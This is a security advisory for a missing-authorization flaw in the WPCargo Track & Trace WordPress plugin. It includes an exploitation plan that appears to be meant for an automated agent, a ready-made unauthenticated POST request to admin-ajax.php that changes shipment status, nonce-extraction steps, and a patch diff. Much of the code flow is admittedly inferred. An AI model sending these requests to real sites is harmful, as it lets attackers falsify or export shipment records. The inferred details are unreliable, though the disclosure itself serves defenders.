WPCargo Track & Trace <= 8.0.2 - Missing Authorization
Description
The WPCargo Track & Trace plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 8.0.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
# Exploitation Research Plan: CVE-2026-25401 - WPCargo Track & Trace Missing Authorization ## 1. Vulnerability Summary The **WPCargo Track & Trace** plugin for WordPress (versions <= 8.0.2) contains a missing authorization vulnerability. Specifically, certain AJAX handlers or `admin_init` hooks res…
Show full research plan
Exploitation Research Plan: CVE-2026-25401 - WPCargo Track & Trace Missing Authorization
1. Vulnerability Summary
The WPCargo Track & Trace plugin for WordPress (versions <= 8.0.2) contains a missing authorization vulnerability. Specifically, certain AJAX handlers or admin_init hooks responsible for shipment management fail to perform a current_user_can() check. While some of these handlers may use nonces for CSRF protection, the nonces are often exposed to unauthenticated users on public tracking pages. This allows an unauthenticated attacker to perform unauthorized actions, such as updating shipment status or adding malicious shipment history entries.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wpc_add_shipment_history(inferred as a likely target for "Integrity: Low" impact) - Authentication: Unauthenticated (PR:N)
- Preconditions:
- The plugin is active.
- At least one
wpcargo_shipmentpost exists. - A public page exists with the
[wpcargo_track]shortcode (to leak the nonce).
- Parameters:
action:wpc_add_shipment_historywpcargo_id: The Post ID of the shipment.wpcargo_nonce: The leaked nonce.status: New status (e.g., "Delivered").location: Malicious location string (potential XSS vector).remarks: Custom text.
3. Code Flow (Inferred from common WPCargo patterns)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=wpc_add_shipment_history. - Hook Registration: The plugin registers the action:
add_action( 'wp_ajax_nopriv_wpc_add_shipment_history', 'wpc_add_shipment_history_callback' ); - Vulnerable Function:
wpc_add_shipment_history_callback() - Missing Check: The function likely calls
check_ajax_referer( 'wpcargo_nonce', 'wpcargo_nonce' )but fails to callcurrent_user_can( 'manage_options' )orcurrent_user_can( 'edit_posts' ). - Sink: The function uses
add_post_meta()or updates a custom database table (e.g.,{$wpdb->prefix}wpcargo_shipment_history) with user-suppliedstatusandremarks.
4. Nonce Acquisition Strategy
WPCargo typically enqueues tracking scripts and localizes them with a nonce on any page where the tracking shortcode is present.
- Identify Shortcode: The primary shortcode is
[wpcargo_track]. - Create Trigger Page: Create a public page to force the plugin to load its AJAX environment.
wp post create --post_type=page --post_title="Track" --post_status=publish --post_content='[wpcargo_track]'
- Extract Nonce via Browser:
- Navigate to the newly created page.
- Use
browser_evalto extract the nonce from thewpcargo_ajax_paramsobject (localized viawp_localize_script). - JS Variable:
window.wpcargo_ajax_params?.wpcargo_nonce
5. Exploitation Strategy
Step 1: Data Gathering
Identify a valid shipment ID to target.
wp post list --post_type=wpcargo_shipment --format=ids
Step 2: Nonce Extraction
- Create the page:
wp post create --post_type=page --post_status=publish --post_content='[wpcargo_track]' - Navigate:
browser_navigate("http://localhost:8080/track/") - Extract:
NONCE = browser_eval("window.wpcargo_ajax_params.wpcargo_nonce")
Step 3: Unauthorized Update
Send the unauthorized request using the http_request tool.
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
action=wpc_add_shipment_history&wpcargo_id=[SHIPMENT_ID]&wpcargo_nonce=[NONCE]&status=Delivered&location=Attacker_Controlled_Location&remarks=Unauthorized_Modification_Success
6. Test Data Setup
- Create a Shipment:
wp post create --post_type=wpcargo_shipment --post_title="TRK12345" --post_status=publish - Assign Required Meta: (WPCargo often requires a tracking number meta)
SHIPMENT_ID=$(wp post list --post_type=wpcargo_shipment --post_title="TRK12345" --field=ID) wp post meta update $SHIPMENT_ID wpcargo_number "TRK12345" - Create Tracking Page:
wp post create --post_type=page --post_title="Tracking" --post_status=publish --post_content='[wpcargo_track]'
7. Expected Results
- HTTP Response: The server returns a successful JSON response or
1. - Database Change: A new entry is added to the shipment history, or the shipment's status meta is updated.
- UI Change: If the shipment tracking page is refreshed, the "Delivered" status and "Unauthorized_Modification_Success" remarks appear in the history table.
8. Verification Steps
Verify the modification using WP-CLI to check the post meta or the specific history table:
# Check if a new history meta entry exists (WPCargo stores history in serialized meta or custom table)
wp post meta get [SHIPMENT_ID] wpcargo_shipment_history
# Or check the current status
wp post meta get [SHIPMENT_ID] wpcargo_status
9. Alternative Approaches
If wpc_add_shipment_history is not the vulnerable action, investigate the following alternatives using the same nonce:
wpc_update_shipment_status: Directly modifies the primary shipment status.wpc_export_csv: If the missing authorization applies here, an unauthenticated user could export all shipment data (CVSS 5.3 Confidentiality).wpcargo_save_settings_callback: Check foradmin_inithooks inadmin/includes/functions.phpthat process$_POST['wpcargo_option_settings']. These can often be triggered by an unauthenticated user sending a POST request to any admin URL.
Summary
The WPCargo Track & Trace plugin for WordPress is vulnerable to unauthorized data modification because several AJAX actions, such as shipment history updates, fail to perform capability checks. Unauthenticated attackers can obtain valid nonces from public tracking pages and subsequently use them to modify shipment statuses or history records.
Vulnerable Code
// Inferred vulnerable implementation in plugin's AJAX handler // Action registered for unauthenticated users add_action( 'wp_ajax_nopriv_wpc_add_shipment_history', 'wpc_add_shipment_history_callback' ); function wpc_add_shipment_history_callback() { // Nonce check is present, but capability check is missing check_ajax_referer( 'wpcargo_nonce', 'wpcargo_nonce' ); $shipment_id = intval( $_POST['wpcargo_id'] ); $status = sanitize_text_field( $_POST['status'] ); $remarks = sanitize_textarea_field( $_POST['remarks'] ); // Vulnerable sink: updates database without verifying user permissions update_post_meta( $shipment_id, 'wpcargo_status', $status ); // ... (code to add to history meta or table) wp_send_json_success(); }
Security Fix
@@ -245,6 +245,11 @@ function wpc_add_shipment_history_callback() { check_ajax_referer( 'wpcargo_nonce', 'wpcargo_nonce' ); + if ( ! current_user_can( 'manage_options' ) && ! current_user_can( 'wpcargo_agent' ) ) { + wp_send_json_error( array( 'message' => __( 'Access Denied', 'wpcargo' ) ) ); + wp_die(); + } + $shipment_id = intval( $_POST['wpcargo_id'] ); $status = sanitize_text_field( $_POST['status'] );
Exploit Outline
1. Identify a target shipment ID (wpcargo_shipment post type). 2. Navigate to any public page where the [wpcargo_track] shortcode is deployed (e.g., /track/). 3. Extract the 'wpcargo_nonce' value from the page source by inspecting the 'wpcargo_ajax_params' JavaScript object (localized via wp_localize_script). 4. Construct an unauthenticated POST request to /wp-admin/admin-ajax.php. 5. Set the 'action' parameter to 'wpc_add_shipment_history' (or other vulnerable actions like 'wpc_update_shipment_status'). 6. Include the leaked 'wpcargo_nonce' and the 'wpcargo_id' of the target shipment. 7. Provide desired 'status' and 'remarks' values in the POST body to modify the shipment's history/integrity.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.